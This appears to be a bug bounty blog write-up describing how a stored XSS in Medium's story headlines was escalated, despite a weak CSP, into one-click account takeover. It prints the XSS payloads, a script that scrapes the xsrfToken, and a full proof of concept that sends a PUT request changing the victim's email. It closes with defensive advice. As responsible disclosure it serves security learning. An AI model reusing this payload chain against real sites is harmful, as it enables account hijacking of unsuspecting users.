Medium 1-Click Full Account Takeover
Two days ago, I found a simple, limited XSS, which I developed into a one-click complete account takeover.
How did it start?
I was searching Google for XSS vectors and found a link to Medium’s page with XSS vectors. When I opened the link, I got XSSed, which made me curious to inspect the page further. I discovered that the headline was not being filtered. I registered an account and created a new story with the headline:
1
"><script>alert(1337)</script>
And I got:
As shown, I was granted XSS. I brought an XSS file from outside because the headline had a limited length. For my first attempt, I tried to bring an XSS file from another server, like https://xxe-me.esy.es/xss.js
. Here’s how I did it:
Here’s how I did it:
When I tried to open the page, nothing happened because there was a CSP.
What is CSP?
CSP stands for Content Security Policy.
It is a W3C specification offering the possibility to instruct the client browser from which locations and/or types of resources are allowed to be loaded. To define a loading behavior, the CSP specification uses “directives” where a directive defines a loading behavior for a target resource type. By (OWASP)
Medium’s CSP is:
1
2
3
4
5
6
7
8
9
10
11
content-security-policy: default-src 'self'; connect-src https://localhost https://*.instapaper.com
https://*.stripe.com https://getpocket.com https://medium.com:443 https://*.medium.com:443
https://*.medium.com https://medium.com https://*.medium.com https://*.algolia.net https://cdn-static-1.medium.com
https://dnqgz544uhbo8.cloudfront.net 'self'; font-src data:
https://*.amazonaws.com https://*.medium.com https://*.gstatic.com https://dnqgz544uhbo8.cloudfront.net https://use.typekit.net
https://cdn-static-1.medium.com 'self'; frame-src chrome-null:
https: webviewprogressproxy: medium: 'self'; img-src blob: data: https: 'self'; media-src https://*.cdn.vine.co
https://d1fcbxp97j4nb2.cloudfront.net https://d262ilb51hltx0.cloudfront.net
https://medium2.global.ssl.fastly.net https://*.medium.com https://gomiro.medium.com https://miro.medium.com https://pbs.twimg.com
'self'; object-src 'self'; script-src 'unsafe-eval' 'unsafe-inline'
about: https: 'self'; style-src 'unsafe-inline' data: https: 'self'; report-uri https://csp.medium.com
If you see the CSP, the script-src uses unsafe-inline without a nonce, which is why the page doesn’t prevent the XSS in the original page. It’s a common mistake, as Michele Spagnuolo and Lukas Weichselbaum mentioned at the HITB conference.
Though I found this, I didn’t stop there. I was thinking of creating a good PoC for stealing the CSRF token and making a request since the email change doesn’t require password confirmation. But wait, I couldn’t write a full script in the headline because the headline’s length is relatively short, and the single and double quotes were changed to Unicode. Nothing worked, so I went to sleep.
The next day, I checked Facebook and chatted with some friends about my problem. They gave me advices, but I needed something else. Then I got the idea to change the stored XSS to DOM XSS, and it was a great idea, though I wasn’t sure about it.
The token was on the same page; it’s called xsrfToken. Now time for some JavaScript :) For the headline name, I used:
1
"><script>document.write(decodeURIComponent(window.location.hash));</script>
The document.write writes the new PoC on the page, decodeURIComponent
decodes the URL, and all of the new PoC will be in the window.location.hash
.
I wrote this simple token finder and tested it locally.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<html>
<head>
<script>
function myFunction() {
var str = document.body.innerHTML;
var n = str.lastIndexOf('xsrfToken');
var result = str.substring(n + 12);
if(result.length > 16){ result = result.substring(0,16);
alert('Your token is ' + result);
}
}
</script>
</head>
<body>
xsrfToken":"HZuv9jqWJvnqO0pF"
<img src='x' onerror='myFunction()'>
</body>
</html>
I used this to check the page for xsrfToken and show it locally in an alert box. Then I used it on the Medium website, and the img
tag triggered the XSS.
PoC :
https://medium.com/@abdullah.test1/script-src-goo-gl-9li8mf-script-img-onerror-myfunction-src-x-6c98f1e159ca#
<script>function myFunction(){var str = document.body.innerHTML;var n = str.lastIndexOf('xsrfToken');
var result = str.substring(n + 12);if(result.length > 16) {result = result.substring(0,16); alert(result); }</script><img src=x onerror="myFunction()">
Works good! But after getting the token, I couldn’t send the request! The change request is sent through the PUT
method, and SOP
prevents sending the request from another origin.
I needed to make the request from the current page, so I wrote the full PoC that sends a request to https://medium.com/me/email
with JSON data to abdullah@gmail.com
.
PoC:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<script> function myFunction() {
var str = document.body.innerHTML;
var n = str.lastIndexOf('xsrfToken');
var result = str.substring(n 12);
if(result.length > 16) {result = result.substring(0,16); alert('Your token is ' + result) };
var xhr = new XMLHttpRequest();
xhr.open('PUT', 'https://medium.com/me/email');
xhr.setRequestHeader('Content-Type', 'application/json');
xhr.setRequestHeader('X-XSRF-Token', result);
xhr.onload = function() {
if (xhr.status === 200) {
alert('ok');
} } ;
xhr.send(JSON.stringify({"email":"abdullah@gmail.com"}));
} </script>
<img onerror="myFunction();" src=x>
And the PUT request worked, and the email was changed successfully!
I sent the full PoC and got a reply on the same day. Two days later, they contacted me and rewarded me with $100. I was disappointed, but I got a Medium t-shirt. Updated: I got Medium’s t-shirt :D
Conclusion
- Use a nonce in your CSP.
- Implement password confirmation for the email change mechanism.
- Ensure new features are secure.
That’s all. Thanks for reading. If you like this, you can follow me on Twitter at @Abdulahhusam.